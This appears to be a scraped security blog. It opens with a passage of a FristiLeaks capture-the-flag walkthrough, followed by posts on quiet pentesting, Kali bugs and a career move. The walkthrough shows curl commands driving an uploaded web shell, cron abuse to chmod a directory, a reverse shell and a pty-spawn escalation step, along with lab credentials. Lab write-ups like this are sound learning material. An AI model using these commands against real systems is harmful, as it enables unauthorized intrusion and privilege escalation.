Recon

With this we were able to enumerate the image and found out that only port 80 was open showing us -

However, the interesting part of this was the availability of robots.txt with 3 directories (/cola, /sisi, /beer), all of which had the same result - This is not the url you were looking for!

This was the guessing game part of vulnhub images, unlike my previous challenge, this time I thought I knew how most of my guesses required to be and viola, we got the right drink - fristi.

/fristi

Post this was the much obvious looking into the source code

<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->

After going to /home/eezeepz and analyzing the contents, I got hold of

$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /home/eezeepz/notes.txt"
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
</pre>cat /home/eezeepz/notes.txt<pre>

Trying to traverse into /home/admin/ gave me an *Permission Denied* Error. So going through last half of this message again, the path was pretty clear.

Unfortunately, this attempt failed because we didn't read the entire message.

$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /tmp/cronresult"
command did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bin

$ curl http://192.168.56.103/fristi/uploads/shell.php.png -d"cmd=cat /tmp/cronresult"
command did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bincommand did not start with /home/admin or /usr/bin
executing: /home/admin/chmod 777 /home/admin

Aha. Now we could go into the /home/admin directory.

/home/fristigod

Analyzing the contents of this directory, we could see a few interesting files -

So now that we have two sets of passwords, we try them on the user accounts. On accessing the /home/ directory, we saw three user profiles - admin, ezzeepz and fristigod. The only major problem was for running a sudo command and elevate privileges, I would require a tty, for which I needed a stable reverse shell and not only a php web shell. After attempting to build a custom simple shell and failing muiltiple times (netcat and telnet were not there in the system so was trying to get a php or pyton reverse tcp connection), I just switched back to my script kiddie nature and used php-reverse-shell to get access into the machine.

/root/

Launching a tty to escalate privileges with sudo can be done with the python one liner (Thank you Pentest monkey, again)

$ python -c 'import pty; pty.spawn("/bin/sh")'

After this I was able to figure out the credentials of admin(thisisalsopw123) and fristigod(LetThereBeFristi!).
My hope of Admin being the sudo user was thrashed and on running find / -perm -4000, I pretty much got the idea who the sudo user is (last line - find: `/var/fristigod': Permission denied).

Monday, 14 September 2015

The normal procedure of any black box penetration testing/ hacking is generally projects are generally dependent on the procedures of exploitation. Generally most of the clients would get freaked out if you would run payloads on the machines. And normally, if the payloads are available, ever we wouldn't be able to tell if they would be functioning correctly or would they be harming a system in a way that would impact any production system you run it on.

Problems faced during black box penetration testing

Too strict configuration of security policies - This sure is a good way to keep off script kiddies but is also if mis-configured, it can lead to a Denial of Service for the entire internal network.
Leaving the above problem alone, I remember one of my colleagues getting called on his mobile and asked for explanation for attacking the network by the SOC team of a client (Yes! Not only traced the attacks back to him but also were able to retrieve his mobile information - pro hax0r pwn'd).
So being too noisy in an internal penetration test would not only sometimes get you into denial of service zone, would also compromise your identity sometimes and disrupt your entire engagement.

Another HUGE problem being a black-box pentester is a "No exploits must be run" statement by the client. This statement would be great if it was a Compliance Audit or Compliance Review, however in a blackbox pentest it feels stupid. However, clients "pay".

Pwning without Payloads

Since those incidences and requirements, I realized the importance of being more silent and less violent and malicious in the network, especially during a black box penetration test.

Most of the black box penetration tests would be successful with just these techniques since the architecture of all enterprise trust anyone or anything in the physical location, without proper segregation.

I would be uploading demonstrations of all these processes slowly, one by one. I am also working on a script that could automate most of the process. But these would take some time.
So, those interested in these topics can feel free to get in touch with me for a faster reply on how to launch these attacks.

Saturday, 12 September 2015

So even after a fresh install of Kali Linux 2.0, few of the applications still seem buggy. One of them would be the wireless hacking module airmon-ng.
Ok! So while I was trying to sniff the networks around my hotel, I faced this bug with airmon-ng and I spent a good half an hour trying to understand what was going wrong as the tool based world gets you addicted to the tools so much that you sometimes are mislead by the errors.

This bug occurs while trying to sniff wireless traffic after attempting to set the wireless network card into Monitoring Mode.

Tuesday, 18 August 2015

A few hours ago I just tried to do a upgrade of my Kali 1.1.0 to the new and beautiful looking Kali 2.0 with the apt-get update && apt-get dist-upgrade way. The result was as terrible as I had expected. A complete crash with only message.

Oh no! Something has gone wrong.
A problem has occurred and the system can't recover.
Please log out and try again.

A terrible feeling when the grey page looks at your face and your head says to you,

"hah you should have rather done a fresh install and wasted 10 hours from your life taking a backup and reformatting your LVM encrypted system."

Here is a small bypass for all the folks who are just going to wait for the guys behind Kali to fix this issue, just like me.

Ok firstly open the below file in an editor

root@kali:~# nano /etc/gdm3/daemon.conf

Now add the following two lines. These enable the system to auto log into the non-root user after booting up. I still haven't completed the debugging process and hence am not able to give the exact reason for this error.

AutomaticLoginEnable = true
AutomaticLogin = <Non-root Username>

Enabling automatic login into root user is not recommended, also it will not work for root user.

Friday, 31 July 2015

Among my recent promises to myself to write blogs, get certifications, etc. my venture into the hacker world, participating and topping the table of capture the flag, secured me the position of a Penetration Tester in one of the Big Four firms. In the past few months of being a random hackerboy on the internet space who gained pocket money from bug bounties, fame from free goodies there was a sudden drift to convert into a absolute and perfect human. This drift from fame to money, from loose shirts and jeans to walking in suits (Nope, NSA aren't the only one that wear suits), has probably been the most incredible journey of my life.

Even though incredible, the life changing from a hackerboy to a corporate man is terrible. It is like a burden of responsibilities you specifically avoided till today, suddenly seemed to grasp hold of you and pull you down. The expectation of following decorum and maturity in a person is like a sea water fish suddenly finds itself in the depths of pacific ocean. However, having the unusual luck of working under the guidance of the top levels of the organization (Yup! My first project and I get to learn from the best) made me push harder and harder until I realized I could pull myself up and stand up face to face and look into their eyes and say, "Look my good Sir! I exist!". For my utter surprise, the motivation, the energy and the vibe spread by these top level folks are astonishingly awesome and the attention you are given seemed to be particularly amazing (Yes! When people with 15+ years of industry experience looks up at you and says good work - now feel my feeling).

Consultants are often looked up as all knowledgeable folks, who have extreme knowledge in especially what they do. Keeping up with these expectations are particularly hard, but then the challenge involved in it is what keeps you on your toes and learning. With an extremely techie security consulting astronomer (Yes. WTH?!) I was able to increase my Linux skills and with the guidance of an ever hardworking manager I am still shaping up to become a total corporate guy. However this journey of fame to money, deepweb to whiteweb, blackhat to whitehat, hacker to penetration tester, con to consultant is an extremely exciting and learning filled transition, especially for all those Kevin Mitnik(s) who love to social engineer out there. Because remember,